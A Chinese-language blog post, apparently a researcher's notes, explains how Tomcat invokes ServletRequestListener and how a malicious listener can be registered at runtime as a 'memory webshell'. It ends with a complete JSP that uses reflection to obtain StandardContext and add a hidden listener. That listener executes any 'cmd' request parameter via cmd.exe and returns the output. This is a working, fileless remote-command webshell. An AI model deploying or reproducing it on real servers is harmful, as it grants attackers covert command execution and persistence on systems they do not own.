前言
上次总结了Java内存马的Filter类型。今天来总结下Listen类型
我们知道监听器的过程:Listener -> Filter -> Servlet
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
- ServletContext,服务器启动和终止时触发
- Session,有关Session操作时触发
- Request,访问服务时触发
其中前两种都不适合作为内存Webshell,因为涉及到服务器的启动跟停止,或者是Session的建立跟销毁,目光就聚集到第三种对于请求的监听上面,其中最适合作为Webshell的要数ServletRequestListener,因为我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。
Listener的实现和类型
Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EvenListener。


我们发现原生的EventListener有好多继承接口

我们看一下ServletRequestListener

ServletRequestListener用于监听ServletRequest的生成和销毁,也就是当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。继续看,在哪个环节,什么时候,哪个地方会调用监听器。

在StandardHostValve调用context.fireRequestInitEvent(request.getRequest()),进而调用ServletRequestListener
然后我们跟进fireRequestInitEvent这里生成了ServletRequestListener对象,遍历调用listener.requestInitialized(event);这里的requestInitialized(event);就是我们上面ServletRequestListener接口实现的方法

经过上面的分析,只要Tomcat执行到StandardHostValve#invoke()时,获取存储在StandardContext.ApplicationEventListeners中的监听器,并遍历调用listener#requestInitialized()
那注入listener马,我们只需要新建一个继承ServletRequestLisner接口的监听器并在requestInitialized方法中实现我们想要的任意功能,然后将该实例添加到StandardContext的ApplicationEventListeners变量就大功告成了。
简单实现一下Listener
public class TestListener implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent sre) {System.out.println("destroy TestListener");}@Overridepublic void requestInitialized(ServletRequestEvent sre) {System.out.println("initial TestListener");}}
在web.xml中
<listener><listener-class>listener.TestListener</listener-class></listener>

从这里可以看到调用栈。就是我们刚才分析的过程。
我们看一下如何添加listener


所以如何添加listener,可以看到在StandardContext#addApplicationEventListener添加了

因此我们不难想到通过反射调用StandardContext#addApplicationEventListener方法,add我们自己写的恶意listener
内存马
<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="java.io.IOException" %><%!public class MyListener implements ServletRequestListener {public void requestDestroyed(ServletRequestEvent sre) {HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();if (req.getParameter("cmd") != null){InputStream in = null;try {in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String out = s.hasNext()?s.next():"";Field requestF = req.getClass().getDeclaredField("request");requestF.setAccessible(true);Request request = (Request)requestF.get(req);request.getResponse().getWriter().write(out);}catch (IOException e) {}catch (NoSuchFieldException e) {}catch (IllegalAccessException e) {}}}public void requestInitialized(ServletRequestEvent sre) {}}%><%Field reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();MyListener listenerDemo = new MyListener();context.addApplicationEventListener(listenerDemo);%>

